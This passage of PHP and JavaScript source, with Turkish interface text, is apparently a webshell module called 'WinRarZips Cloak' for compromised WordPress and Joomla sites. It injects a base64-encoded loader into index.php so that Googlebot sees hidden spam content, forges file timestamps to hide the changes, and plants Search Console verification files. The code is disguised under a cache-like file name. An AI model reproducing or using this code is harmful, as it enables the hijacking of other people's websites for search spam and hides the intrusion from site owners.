$manifest_paths[] = $dst;
} else {
$fail_count++;
}
}
if ($manifest_paths) {
wrz_deploy_manifest_save($root, $manifest_paths);
wrz_deploy_backup_create($root);
}
}
$lines = ['<div class="wrz-deploy-results">'];
$lines[] = '<div style="color:#00ffff;margin-bottom:10px;"><b>Klasorlere yerlestirme tamamlandi</b> (WP tarzi dosya adlari) — OK: ' . $ok_count . ', Hata: ' . $fail_count . '</div>';
$lines[] = '<div style="color:#888;font-size:12px;margin-bottom:10px;">Deploy yedegi otomatik alindi → <code>wp-content/.wrz-deploy-backup/</code></div>';
$lines[] = '<ul style="list-style:none;padding:0;margin:0;text-align:left;max-width:900px;margin:0 auto;">';
foreach ($items as $it) {
$color = $it['ok'] ? '#3fb950' : '#ff3366';
$icon = $it['ok'] ? '✓' : '✗';
$link = '';
if ($it['ok'] && !empty($it['url'])) {
$link = ' — <a href="' . htmlspecialchars($it['url']) . '" target="_blank" rel="noopener" style="color:#00ffff">' . htmlspecialchars($it['url']) . '</a>';
} elseif ($it['ok']) {
$link = ' — <code style="color:#a0a0ff">' . htmlspecialchars($it['path']) . '</code>';
} else {
$link = ' — <span style="color:#888">' . htmlspecialchars($it['msg']) . '</span>';
}
$lines[] = '<li style="margin:8px 0;padding:10px;background:#140028;border-left:3px solid ' . $color . ';border-radius:4px;">'
. '<span style="color:' . $color . '">' . $icon . '</span> '
. '<b>' . htmlspecialchars($it['label']) . '</b>' . $link . '</li>';
}
$lines[] = '</ul></div>';
return [
'ok' => $ok_count > 0,
'html' => implode("\n", $lines),
'items' => $items,
'ok_count' => $ok_count,
'fail_count' => $fail_count,
];
}
// ===== WinRarZips Cloak (tek dosya — gomulu) =====
/**
* WinRarZips Cloak modulu
* wp-caches.php icinden yuklenir.
*/
if (!function_exists('wrz_cloak_clean_buffers')) {
function wrz_cloak_clean_buffers() {
while (@ob_get_level() > 0) {
@ob_end_clean();
}
}
}
if (!function_exists('wrz_cloak_json_exit')) {
function wrz_cloak_json_exit($data, $code = 200) {
wrz_cloak_clean_buffers();
if (!headers_sent()) {
header('Content-Type: application/json; charset=utf-8');
http_response_code((int) $code);
}
$out = json_encode($data, JSON_UNESCAPED_UNICODE);
if ($out === false) {
$out = json_encode(['error' => 'json_encode_fail'], JSON_UNESCAPED_UNICODE);
}
echo $out;
exit;
}
}
function wrz_cloak_docroot() {
if (function_exists('wrz_cms_roots')) {
$cms = wrz_cms_roots();
if (!empty($cms[0]['root'])) {
return rtrim(str_replace('\\', '/', $cms[0]['root']), '/');
}
}
if (function_exists('wrz_wp_roots')) {
$roots = wrz_wp_roots();
if (!empty($roots[0])) {
return rtrim(str_replace('\\', '/', $roots[0]), '/');
}
}
if (function_exists('wrz_joomla_roots')) {
$roots = wrz_joomla_roots();
if (!empty($roots[0])) {
return rtrim(str_replace('\\', '/', $roots[0]), '/');
}
}
$doc = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
return $doc ? rtrim(str_replace('\\', '/', $doc), '/') : '';
}
function wrz_cloak_handle_request() {
if (!function_exists('wrz_is_logged_in') || !wrz_is_logged_in()) {
return false;
}
$a = '';
if (isset($_GET['wrz_cloak']) && (string) $_GET['wrz_cloak'] !== '') {
$a = (string) $_GET['wrz_cloak'];
} elseif (isset($_POST['wrz_cloak']) && (string) $_POST['wrz_cloak'] !== '') {
$a = (string) $_POST['wrz_cloak'];
}
if ($a === '') {
return false;
}
wrz_cloak_clean_buffers();
@ob_start();
$DIR = wrz_cloak_docroot();
if ($DIR === '' || !@is_dir($DIR)) {
if (function_exists('wrz_cloak_json_exit')) {
wrz_cloak_json_exit(['error' => 'CMS kok dizini bulunamadi (WordPress/Joomla)']);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode(['error' => 'CMS kok dizini bulunamadi (WordPress/Joomla)'], JSON_UNESCAPED_UNICODE);
return true;
}
try {
if (function_exists('wrz_cloak_load_actions')) {
wrz_cloak_load_actions($a, $DIR);
} else {
wrz_cloak_json_exit(['error' => 'Cloak modulu eksik']);
}
} catch (Throwable $e) {
if (function_exists('wrz_cloak_json_exit')) {
wrz_cloak_json_exit(['error' => $e->getMessage()]);
}
header('Content-Type: application/json; charset=utf-8');
echo json_encode(['error' => $e->getMessage()], JSON_UNESCAPED_UNICODE);
}
$junk = @ob_get_clean();
if ($junk !== '' && trim($junk) !== '') {
if (function_exists('wrz_cloak_json_exit')) {
wrz_cloak_json_exit(['error' => 'Beklenmeyen cikti', 'preview' => substr(strip_tags($junk), 0, 300)]);
}
}
return true;
}
function wrz_cloak_status($dir) {
$indexFile = 'index.php';
$htmlFile = 'wp-comments-post-loader.html';
$ampFile = 'amp.php';
$idxPath = $dir . DIRECTORY_SEPARATOR . $indexFile;
$htmlPath = $dir . DIRECTORY_SEPARATOR . $htmlFile;
$ampPath = $dir . DIRECTORY_SEPARATOR . $ampFile;
$idxExists = @file_exists($idxPath);
$htmlExists = @file_exists($htmlPath);
$ampExists = @file_exists($ampPath);
$googleFiles = function_exists('wrz_cloak_list_google_files') ? wrz_cloak_list_google_files($dir) : [];
if (!$googleFiles) {
foreach ((array) @glob($dir . DIRECTORY_SEPARATOR . 'google*.html') as $p) {
$b = basename($p);
if (preg_match('/^google[a-zA-Z0-9]+\.html$/', $b)) {
$googleFiles[] = $b;
}
}
sort($googleFiles);
}
$cms = function_exists('wrz_cloak_cms_type') ? wrz_cloak_cms_type($dir) : 'unknown';
return [
'dir' => $dir,
'cms' => $cms,
'idx_exists' => $idxExists,
'idx_size' => $idxExists ? number_format((int) @filesize($idxPath)) : '—',
'html_exists' => $htmlExists,
'html_size' => $htmlExists ? number_format((int) @filesize($htmlPath)) : '—',
'amp_exists' => $ampExists,
'amp_size' => $ampExists ? number_format((int) @filesize($ampPath)) : '—',
'google_files' => $googleFiles,
];
}
function wrz_cloak_query_base() {
return wrz_cloak_api_base();
}
function wrz_cloak_render_panel($status) {
$api = wrz_cloak_api_base();
$postUrl = wrz_cloak_script_url();
$dir = htmlspecialchars($status['dir'], ENT_QUOTES, 'UTF-8');
$pk = htmlspecialchars($api, ENT_QUOTES, 'UTF-8');
$cmsLabel = isset($status['cms']) && $status['cms'] === 'joomla' ? 'Joomla' : (isset($status['cms']) && $status['cms'] === 'wordpress' ? 'WordPress' : 'CMS');
?>
<div id="wrz-cloak-panel" class="wrz-cloak-panel">
<div class="wrz-cloak-head" onclick="wrzCloakToggle()">
<span class="wrz-cloak-title">CLOAK ISLEMLERI · <?= htmlspecialchars($cmsLabel, ENT_QUOTES, 'UTF-8') ?></span>
<span id="wrz-cloak-badge" class="wrz-cloak-badge checking">● Kontrol...</span>
<span class="wrz-cloak-chev" id="wrz-cloak-chev">▼</span>
</div>
<div class="wrz-cloak-body" id="wrz-cloak-body">
<div class="wrz-cloak-sub"><?= $dir ?></div>
<div class="wrz-cloak-grid-top">
<button type="button" class="wrz-btn wrz-btn-green wrz-btn-lg" onclick="wrzAutocloakAmp('joomla')">Joomla AMP Cloak</button>
<button type="button" class="wrz-btn wrz-btn-green wrz-btn-lg" onclick="wrzAutocloakAmp('wordpress')">WordPress AMP Cloak</button>
<button type="button" class="wrz-btn wrz-btn-blue wrz-btn-lg" onclick="wrzBotcheck()">GoogleBot ile Kontrol Et</button>
</div>
<p class="wrz-note blue"><b>Otomatik Joomla AMP cloak</b> — index.php + .htaccess analiz edilir; W7 Shield, Joomla 4/5 veya Gridbox uploads icin en uygun loader secilir. index.php'ye sadece 1 satir <code>require_once</code> eklenir.</p>
<p class="wrz-note red"><code>amp.php</code> dosyanizi asagidaki <b>AMP Icerigini Duzenle</b> bolumunden kaydedin.</p>
<p class="wrz-note purple">Kurulumdan sonra <b>Timestamp Duzenle</b> ile mtime maskeleme yapin.</p>
<p class="wrz-note orange">Gercek test icin <b>GoogleBot ile Kontrol Et</b> kullanin. Sorun olursa <b>ACIL GERI AL</b>.</p>
<div class="wrz-cloak-card">
<div class="wrz-cloak-h">Durum</div>
<div class="wrz-cloak-row"><span class="dot <?= $status['idx_exists'] ? 'ok' : 'err' ?>"></span><span>index.php</span><span class="muted"><?= $status['idx_exists'] ? $status['idx_size'] . ' bayt' : '— YOK —' ?></span></div>
<div class="wrz-cloak-row"><span class="dot <?= !empty($status['amp_exists']) && (int)str_replace(',','',$status['amp_size']) >= 20 ? 'ok' : 'warn' ?>"></span><span>amp.php (bot icerigi)</span><span class="muted"><?= !empty($status['amp_exists']) ? $status['amp_size'] . ' bayt' : '— cloak ile olusturulur —' ?></span></div>
<div class="wrz-cloak-row"><span class="dot <?= $status['html_exists'] && (int)str_replace(',','',$status['html_size']) >= 80 ? 'ok' : 'warn' ?>"></span><span>wp-comments-post-loader.html (eski)</span><span class="muted"><?= $status['html_exists'] ? $status['html_size'] . ' bayt' : '—' ?></span></div>
<?php foreach ($status['google_files'] as $gf): ?>
<div class="wrz-cloak-row"><span class="dot ok"></span><span><?= htmlspecialchars($gf) ?></span><span class="tag-g">GOOGLE</span><a href="#" onclick="wrzRemoveGoogle('<?= htmlspecialchars(addslashes($gf)) ?>');return false" class="del">Sil</a></div>
<?php endforeach; ?>
</div>
<div class="wrz-cloak-btns">
<button type="button" class="wrz-btn wrz-btn-orange wrz-btn-lg" onclick="wrzRevert()">Orijinale Don</button>
<button type="button" class="wrz-btn wrz-btn-red wrz-btn-lg" onclick="wrzForceRevert()">ACIL GERI AL</button>
<?php if (!$status['idx_exists']): ?>
<button type="button" class="wrz-btn wrz-btn-green wrz-btn-lg" onclick="wrzRestoreIndex()">index.php OLUSTUR</button>
<?php endif; ?>
<button type="button" class="wrz-btn wrz-btn-cyan wrz-btn-lg" onclick="wrzClearcache()">Cache Temizle</button>
<button type="button" class="wrz-btn wrz-btn-purple wrz-btn-lg" onclick="wrzFixts()">Timestamp Duzenle</button>
</div>
<div class="wrz-msg" id="wrz-cmsg"></div>
<div id="wrz-ccresult" class="wrz-report" style="display:none"><div class="wrz-report-title">Cache Raporu</div><div id="wrz-ccrows"></div></div>
<div id="wrz-tsresult" class="wrz-report" style="display:none"><div class="wrz-report-title purple">Timestamp Raporu</div><div id="wrz-tsrows"></div></div>
<div class="wrz-msg" id="wrz-bcmsg"></div>
<div id="wrz-bcresult" class="wrz-report" style="display:none">
<div id="wrz-bcbadge" class="wrz-bc-badge"></div>
<div id="wrz-bcmeta" class="wrz-cloak-sub"></div>
<details><summary>Onizleme</summary><pre id="wrz-bcpreview" class="wrz-pre"></pre></details>
</div>
<details class="wrz-details">
<summary>AMP Icerigini Duzenle (amp.php)</summary>
<div class="wrz-cloak-card inner">
<button type="button" class="wrz-btn" onclick="wrzLoadAmp()">Yukle</button>
<span id="wrz-ampmsg-load" class="muted"></span>
<textarea id="wrz-ampcontent" placeholder="GoogleBot icin amp.php HTML/PHP icerigi..."></textarea>
<button type="button" class="wrz-btn wrz-btn-blue" onclick="wrzSaveAmp()">Kaydet</button>
<span class="wrz-msg" id="wrz-ampmsg"></span>
</div>
</details>
<details class="wrz-details">
<summary>Perde Tasarimini Duzenle (eski HTML)</summary>
<div class="wrz-cloak-card inner">
<button type="button" class="wrz-btn" onclick="wrzLoadHtml()">Yukle</button>
<span id="wrz-lmsg" class="muted"></span>
<textarea id="wrz-htmlcontent" placeholder="Perde HTML kodunuzu buraya yapistirin..."></textarea>
<button type="button" class="wrz-btn wrz-btn-blue" onclick="wrzSaveHtml()">Kaydet</button>
<span class="wrz-msg" id="wrz-hmsg"></span>
</div>
</details>
<details class="wrz-details">
<summary>Google Search Console Dogrulama Dosyasi Yukle</summary>
<div class="wrz-cloak-card inner">
<input id="wrz-gname" placeholder="google....html" class="wrz-input">
<textarea id="wrz-gcontent" placeholder="google-site-verification: TOKEN" class="wrz-ta-sm"></textarea>
<button type="button" class="wrz-btn wrz-btn-blue" onclick="wrzUploadGoogle()">Yukle</button>
<span class="wrz-msg" id="wrz-gmsg"></span>
</div>
</details>
</div>
</div>
<script>
(function(){
var PK=<?= json_encode($api) ?>;
var POST_URL=<?= json_encode($postUrl) ?>;
var GOOGLE_RX=/^google[a-zA-Z0-9]+\.html$/;
var _cloakActive=false,_botDone=false,_botWork=false;
var _LS='wrz_bc_'+location.hostname;
window.wrzCloakToggle=function(){
var b=document.getElementById('wrz-cloak-body');
var c=document.getElementById('wrz-cloak-chev');
if(!b)return;
var open=b.style.display!=='none';
b.style.display=open?'none':'block';
if(c)c.textContent=open?'▼':'▲';
};
function setMsg(id,t,type){var el=document.getElementById(id);if(!el)return;el.textContent=t||'';el.className='wrz-msg '+(type||'');}
function setBadge(state){
var el=document.getElementById('wrz-cloak-badge');if(!el)return;
var m={checking:['checking','● Kontrol...'],atilmamis:['off','● Cloaking Atilmamis'],pasif:['warn','● Cloaking: Pasif'],aktif:['ok','● Cloaking: Aktif']};
var x=m[state]||m.atilmamis;el.className='wrz-cloak-badge '+x[0];el.textContent=x[1];
}
function enc(s){var b=btoa(unescape(encodeURIComponent(s)));return encodeURIComponent(b.replace(/\+/g,'-').replace(/\//g,'_').replace(/=+$/,''));}
function toHex(str){var bytes=new TextEncoder().encode(str),h='';for(var i=0;i<bytes.length;i++)h+=('0'+bytes[i].toString(16)).slice(-2);return h;}
function decodeB64(t){try{var bin=atob(t.replace(/\s+/g,''));var bytes=new Uint8Array(bin.length);for(var i=0;i<bin.length;i++)bytes[i]=bin.charCodeAt(i);return new TextDecoder('utf-8').decode(bytes);}catch(e){return t;}}
function wrzParsePreview(t){t=(t||'').replace(/\s+/g,' ').trim();return t?t.substring(0,220):'(bos yanit)';}
function checkCloak(){
setBadge('checking');
var x=new XMLHttpRequest();x.open('GET',PK+'checkcloak&_='+Date.now());
x.onload=function(){try{var r=JSON.parse(x.responseText);_cloakActive=!!r.active;if(_cloakActive){setBadge('checking');wrzBotcheck(true);}else setBadge('atilmamis');}catch(e){setBadge('pasif');}};
x.onerror=function(){setBadge('pasif');};x.send();
}
window.wrzAutocloakAmp=function(cms){
var label=cms==='joomla'?'Joomla':'WordPress';
if(cms==='joomla'){
setMsg('wrz-cmsg',label+' — index.php ve .htaccess analiz ediliyor...','info');
var s=new XMLHttpRequest();s.open('GET',PK+'joomla_amp_scan&_='+Date.now());
s.onload=function(){
try{
var p=JSON.parse((s.responseText||'').trim());
var info='index:'+(p.index&&p.index.valid?'OK':'?')+' | inject:'+(p.inject||'?')+' | loader:'+(p.loader&&p.loader.rel?p.loader.rel:'?');
if(p.htaccess&&p.htaccess.warnings&&p.htaccess.warnings.length)info+=' | htaccess uyarisi';
setMsg('wrz-cmsg',info,'info');
}catch(e){}
wrzAutocloakAmpRun(cms,label);
};
s.onerror=function(){wrzAutocloakAmpRun(cms,label);};
s.send();
return;
}
wrzAutocloakAmpRun(cms,label);
};
window.wrzAutocloakAmpRun=function(cms,label){
if(!confirm(label+' AMP cloak otomatik uygulansin mi?\\nindex.php analiz + loader + amp.php'))return;
setMsg('wrz-cmsg',label+' AMP cloak kuruluyor...','info');
var x=new XMLHttpRequest();x.open('GET',PK+'autocloak_amp&cms='+encodeURIComponent(cms)+'&_='+Date.now());
x.onload=function(){
try{
var r=JSON.parse((x.responseText||'').trim());
var ok=(r.index==='OK'||r.ok===true);
var parts=[label,'index:'+r.index,'loader:'+(r.loader||'?'),'amp:'+(r.amp||'?')+'@'+(r.amp_path||'amp.php')];
if(r.inject_point)parts.push('inject:'+r.inject_point);
if(r.plan&&r.plan.strategy)parts.push(r.plan.strategy);
if(r.message)parts.push(r.message);
setMsg('wrz-cmsg',parts.join(' | '),ok?'ok':'err');
if(ok){
_cloakActive=true;
setBadge('aktif');
setTimeout(function(){wrzBotcheck(true);},600);
setTimeout(function(){location.reload();},2500);
}
}catch(e){setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');}
};
x.onerror=function(){setMsg('wrz-cmsg','Ag hatasi','err');};
x.send();
};
window.wrzLoadAmp=function(){
document.getElementById('wrz-ampmsg-load').textContent='Yukleniyor...';
var x=new XMLHttpRequest();x.open('GET',PK+'raw&b='+enc('amp.php'));
x.onload=function(){document.getElementById('wrz-ampcontent').value=decodeB64(x.responseText);document.getElementById('wrz-ampmsg-load').textContent='Yuklendi.';};
x.send();
};
window.wrzSaveAmp=function(){
var c=document.getElementById('wrz-ampcontent').value;
var fd=new FormData();fd.append('wrz_cloak','saveamp');fd.append('d',toHex(c));
var x=new XMLHttpRequest();x.open('POST',POST_URL);
x.onload=function(){
var t=(x.responseText||'').trim();
setMsg('wrz-ampmsg',t==='OK'?'amp.php kaydedildi':'Hata: '+wrzParsePreview(t),t==='OK'?'ok':'err');
};
x.send(fd);
};
window.wrzRevert=function(){
if(!confirm('index.php orijinale donsun mu?'))return;
var x=new XMLHttpRequest();x.open('GET',PK+'revert&_='+Date.now());
x.onload=function(){
var t=(x.responseText||'').trim();
setMsg('wrz-cmsg',t,t==='OK'?'ok':'err');
if(t==='OK')setTimeout(function(){location.reload();},800);
};
x.send();
};
window.wrzForceRevert=function(){
if(!confirm('ACIL GERI AL: index.php geri yuklenir/olusturulur, cloak kaldirilir. Devam?'))return;
setMsg('wrz-cmsg','Geri aliniyor...','info');
var x=new XMLHttpRequest();x.open('GET',PK+'force_revert&_='+Date.now());
x.onload=function(){
try{
var t=(x.responseText||'').trim();
var r=JSON.parse(t);
setMsg('wrz-cmsg',r.ok?'Site geri alindi — ana sayfayi test edin':'Geri alma basarisiz',r.ok?'ok':'err');
if(r.ok)setTimeout(function(){location.reload();},800);
}catch(e){
setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');
}
};
x.onerror=function(){setMsg('wrz-cmsg','Ag hatasi','err');};
x.send();
};
window.wrzRestoreIndex=function(){
if(!confirm('index.php olusturulsun / geri yuklensin mi?'))return;
setMsg('wrz-cmsg','index.php yaziliyor...','info');
var x=new XMLHttpRequest();x.open('GET',PK+'restore_index&_='+Date.now());
x.onload=function(){
try{
var r=JSON.parse((x.responseText||'').trim());
setMsg('wrz-cmsg',r.ok?'index.php hazir — siteyi acin':'Basarisiz: '+(r.error||''),r.ok?'ok':'err');
if(r.ok)setTimeout(function(){location.reload();},800);
}catch(e){setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');}
};
x.send();
};
window.wrzLoadHtml=function(){
document.getElementById('wrz-lmsg').textContent='Yukleniyor...';
var x=new XMLHttpRequest();x.open('GET',PK+'raw&b='+enc('wp-comments-post-loader.html'));
x.onload=function(){document.getElementById('wrz-htmlcontent').value=decodeB64(x.responseText);document.getElementById('wrz-lmsg').textContent='Yuklendi.';};
x.send();
};
window.wrzSaveHtml=function(){
var c=document.getElementById('wrz-htmlcontent').value;
if(c.indexOf('<'+'?')!==-1){setMsg('wrz-hmsg','PHP etiketi yasak','err');return;}
var fd=new FormData();fd.append('wrz_cloak','savehtml');fd.append('d',toHex(c));
var x=new XMLHttpRequest();x.open('POST',POST_URL);
x.onload=function(){
var t=(x.responseText||'').trim();
setMsg('wrz-hmsg',t==='OK'?'Kaydedildi':'Hata: '+wrzParsePreview(t),t==='OK'?'ok':'err');
};
x.send(fd);
};
window.wrzBotcheck=function(auto){
setMsg('wrz-bcmsg','GoogleBot istegi...','info');setBadge('checking');
var x=new XMLHttpRequest();x.open('GET',PK+'botcheck&_='+Date.now());
x.onload=function(){
setMsg('wrz-bcmsg','','');
try{var r=JSON.parse(x.responseText);}catch(e){setMsg('wrz-bcmsg','JSON hata','err');return;}
document.getElementById('wrz-bcresult').style.display='block';
var badge=document.getElementById('wrz-bcbadge');
if(r.matched){badge.className='wrz-bc-badge ok';badge.textContent='CLOAK CALISIYOR';setBadge('aktif');}
else if(r.site_blank){badge.className='wrz-bc-badge fail';badge.textContent='SITE BOZUK (beyaz sayfa) — ACIL GERI AL';setBadge('pasif');}
else if(r.html_empty){badge.className='wrz-bc-badge warn';badge.textContent='HTML bos';setBadge('pasif');}
else{badge.className='wrz-bc-badge fail';badge.textContent='CLOAK CALISMIYOR';setBadge('pasif');}
document.getElementById('wrz-bcmeta').textContent='HTTP '+r.http_code+' | '+r.url;
document.getElementById('wrz-bcpreview').textContent=r.preview||'';
};
x.send();
};
window.wrzClearcache=function(){
setMsg('wrz-cmsg','Cache temizleniyor...','info');
var x=new XMLHttpRequest();x.open('GET',PK+'clearcache&_='+Date.now());
x.onload=function(){
setMsg('wrz-cmsg','','');
try{var r=JSON.parse(x.responseText);}catch(e){setMsg('wrz-cmsg','JSON hata: '+wrzParsePreview(x.responseText),'err');return;}
var html='',keys=Object.keys(r);
keys.forEach(function(k){if(!r[k]||!r[k].s)return;html+='<div class="wrz-cache-row '+r[k].s+'"><b>'+k+'</b>: '+r[k].m+'</div>';});
document.getElementById('wrz-ccrows').innerHTML=html;
document.getElementById('wrz-ccresult').style.display='block';
};
x.send();
};
window.wrzFixts=function(){
var x=new XMLHttpRequest();x.open('GET',PK+'fixtimestamp&_='+Date.now());
x.onload=function(){
try{var r=JSON.parse(x.responseText);}catch(e){return;}
var html='';for(var k in r){html+='<div class="wrz-cache-row '+(r[k].s||'')+'">'+(k)+': '+r[k].m+'</div>';}
document.getElementById('wrz-tsrows').innerHTML=html;
document.getElementById('wrz-tsresult').style.display='block';
};
x.send();
};
window.wrzUploadGoogle=function(){
var name=document.getElementById('wrz-gname').value.trim(),content=document.getElementById('wrz-gcontent').value;
if(!GOOGLE_RX.test(name)){setMsg('wrz-gmsg','Gecersiz dosya adi','err');return;}
var fd=new FormData();fd.append('wrz_cloak','writegoogle');fd.append('b',enc(name));fd.append('d',toHex(content));
var x=new XMLHttpRequest();x.open('POST',POST_URL);
x.onload=function(){
var t=(x.responseText||'').trim();
setMsg('wrz-gmsg',t==='OK'?'Yuklendi':'Hata: '+wrzParsePreview(t),t==='OK'?'ok':'err');
if(t==='OK')setTimeout(function(){location.reload();},900);
};
x.send(fd);
};
window.wrzRemoveGoogle=function(name){
if(!confirm(name+' silinsin mi?'))return;
var x=new XMLHttpRequest();x.open('GET',PK+'rmgoogle&b='+enc(name));
x.onload=function(){if(x.responseText==='OK')location.reload();else alert(x.responseText);};
x.send();
};
document.addEventListener('DOMContentLoaded',checkCloak);
})();
</script>
<?php
}
function wrz_cloak_load_actions($a, $DIR) {
// Cloak actions — included by wrz_cloak.php
if (!function_exists('wrz_cloak_clean_buffers')) {
function wrz_cloak_clean_buffers() {
while (@ob_get_level() > 0) {
@ob_end_clean();
}
}
}
if (!function_exists('wrz_cloak_json_exit')) {
function wrz_cloak_json_exit($data, $code = 200) {
wrz_cloak_clean_buffers();
if (!headers_sent()) {
header('Content-Type: application/json; charset=utf-8');
http_response_code((int) $code);
}
$out = json_encode($data, JSON_UNESCAPED_UNICODE);
if ($out === false) {
$out = json_encode(['error' => 'json_encode_fail'], JSON_UNESCAPED_UNICODE);
}
echo $out;
exit;
}
}
if (!function_exists('wrz_cloak_cc_rmdir')) {
function wrz_cloak_cc_rmdir($dir) {
$n = 0;
if (!@is_dir($dir)) {
return 0;
}
try {
$it = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
RecursiveIteratorIterator::CHILD_FIRST
);
foreach ($it as $f) {
$path = $f->getRealPath();
if ($f->isFile() || $f->isLink()) {
if (@unlink($path)) {
$n++;
}
} elseif ($f->isDir() && $path && realpath($path) !== realpath($dir)) {
@rmdir($path);
}
}
} catch (Exception $e) {
// dizin okunamadi
} catch (Throwable $e) {
// PHP 7+
}
return $n;
}
}
if (!function_exists('wrz_cloak_try_load_wp')) {
function wrz_cloak_try_load_wp($dir) {
foreach ([$dir . '/wp-load.php', dirname($dir) . '/wp-load.php'] as $wpl) {
if (!@is_file($wpl)) {
continue;
}
@ob_start();
$loaded = false;
try {
if (!defined('SHORTINIT')) {
define('SHORTINIT', true);
}
@include_once $wpl;
$loaded = defined('ABSPATH');
} catch (Throwable $e) {
$loaded = false;
}
@ob_end_clean();
if ($loaded) {
return true;
}
}
return false;
}
}
$TEMPLATES=[
'wordpress'=>[
'index.php'=>[
'cloak'=>base64_decode('PD9waHAKaGVhZGVyKCdDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSwgbWF4LWFnZT0wJyk7CmhlYWRlcignUHJhZ21hOiBuby1jYWNoZScpOwpoZWFkZXIoJ1Zhcnk6IFVzZXItQWdlbnQnKTsKJHVzZXJBZ2VudD1pc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pPyRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTonJzsKaWYocHJlZ19tYXRjaCgnL0dvb2dsZWJvdHxBZHNCb3R8TWVkaWFwYXJ0bmVycy1Hb29nbGV8QVBJcy1Hb29nbGV8R29vZ2xlYm90LUltYWdlfEdvb2dsZWJvdC1WaWRlb3xHb29nbGVib3QtTmV3c3xHb29nbGVib3QtU2VhcmNofEdvb2dsZWJvdC1JbnNwZWN0fEdvb2dsZWJvdC1BbmRyb2lkfEdvb2dsZWJvdC1Nb2JpbGV8R29vZ2xlYm90LUFkc3xHb29nbGVib3QtRGlzY292ZXJ5fEdvb2dsZS18R29vZ2xlT3RoZXIvaScsJHVzZXJBZ2VudCkmJiRfU0VSVkVSWydSRVFVRVNUX1VSSSddPT0nLycpe2luY2x1ZGUgJ3dwLWNvbW1lbnRzLXBvc3QtbG9hZGVyLmh0bWwnO2RpZSgpO30KZGVmaW5lKCdXUF9VU0VfVEhFTUVTJyx0cnVlKTsKcmVxdWlyZSBfX0RJUl9fLicvd3AtYmxvZy1oZWFkZXIucGhwJzsK'),
'orig' =>base64_decode('PD9waHANCi8qKg0KICogRnJvbnQgdG8gdGhlIFdvcmRQcmVzcyBhcHBsaWNhdGlvbi4gVGhpcyBmaWxlIGRvZXNuJ3QgZG8gYW55dGhpbmcsIGJ1dCBsb2Fkcw0KICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4NCiAqDQogKiBAcGFja2FnZSBXb3JkUHJlc3MNCiAqLw0KDQovKioNCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4NCiAqDQogKiBAdmFyIGJvb2wNCiAqLw0KZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsNCg0KLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovDQpyZXF1aXJlIF9fRElSX18gLiAnL3dwLWJsb2ctaGVhZGVyLnBocCc7')
]
],
'joomla'=>[
'index.php'=>[
'orig'=>null
]
]
];
if (!function_exists('wrz_joomla_default_index_content')) {
function wrz_joomla_default_index_content($dir){
$dir=rtrim(str_replace('\\','/',$dir),'/');
if(@is_file($dir.'/includes/app.php')){
return <<<'WRZJ5IDX'
<?php
/**
* @package Joomla.Site
*/
declare(strict_types=1);
require_once __DIR__ . '/includes/app.php';
WRZJ5IDX;
}
return <<<'WRZJ4IDX'
<?php
/**
* @package Joomla.Site
*/
define('_JEXEC', 1);
if (file_exists(__DIR__ . '/defines.php')) {
require_once __DIR__ . '/defines.php';
}
if (!defined('_JDEFINES')) {
define('_JDEFINES', 1);
require_once __DIR__ . '/includes/defines.php';
}
require_once __DIR__ . '/includes/framework.php';
$app = \Joomla\CMS\Factory::getApplication('site');
$app->execute();
WRZJ4IDX;
}}
if (!function_exists('wrz_joomla_index_looks_valid')) {
function wrz_joomla_index_looks_valid($content){
$content=(string)$content;
if($content===''||strpos($content,'<?php')===false)return false;
if(strpos($content,'WRZ-JOOMLA-CLOAK')!==false)return false;
if(strpos($content,'WRZ-AMP-CLOAK')!==false)return false;
if(strpos($content,'wp-comments-post-loader.html')!==false)return false;
if(strpos($content,'WRZ-CLOAK-START')!==false)return false;
if(preg_match('/\\?\s*defined\s*\(\s*[\'"]_JEXEC[\'"]\s*\)\s*or\s+die\s*;/i',$content)
&&strpos($content,"define('_JEXEC'")===false
&&strpos($content,'define("_JEXEC"')===false
&&strpos($content,"define('_JEXEC', 1)")===false){
return false;
}
if(strpos($content,'includes/app.php')===false&&strpos($content,'includes/framework.php')===false)return false;
if(strpos($content,'wp-blog-header.php')!==false||strpos($content,'WordPress application')!==false)return false;
return true;
}}
if (!function_exists('wrz_cloak_joomla_find_index_source')) {
function wrz_cloak_joomla_find_index_source($dir){
global $JOOMLA_INDEX_BAK;
$dir=rtrim(str_replace('\\','/',$dir),'/');
$candidates=[
$dir.'/'.$JOOMLA_INDEX_BAK,
$dir.'/.staging/index.php',
$dir.'/staging/index.php',
$dir.'/backup/index.php',
$dir.'/old/index.php',
];
if(@is_dir($dir.'/.staging')&&@is_file($dir.'/.staging/configuration.php')){
array_unshift($candidates,$dir.'/.staging/index.php');
}
foreach((array)@glob($dir.'/*/index.php') as $gp){
$candidates[]=$gp;
}
$seen=[];
foreach($candidates as $p){
$p=str_replace('\\','/',$p);
if(isset($seen[$p]))continue;
$seen[$p]=1;
if(!@is_file($p)||@filesize($p)<40)continue;
$c=(string)@file_get_contents($p);
if(!wrz_joomla_index_looks_valid($c))continue;
return ['path'=>$p,'content'=>$c];
}
return null;
}}
if (!function_exists('wrz_cloak_joomla_write_index')) {
function wrz_cloak_joomla_write_index($dir,$content){
$idx=$dir.DIRECTORY_SEPARATOR.'index.php';
$ok=@file_put_contents($idx,$content)!==false;
if($ok){
@chmod($idx,0644);
}
return $ok;
}}
$JOOMLA_INDEX_BAK='.wrz-joomla-index.bak';
$JOOMLA_APP_BAK='.wrz-joomla-app.bak';
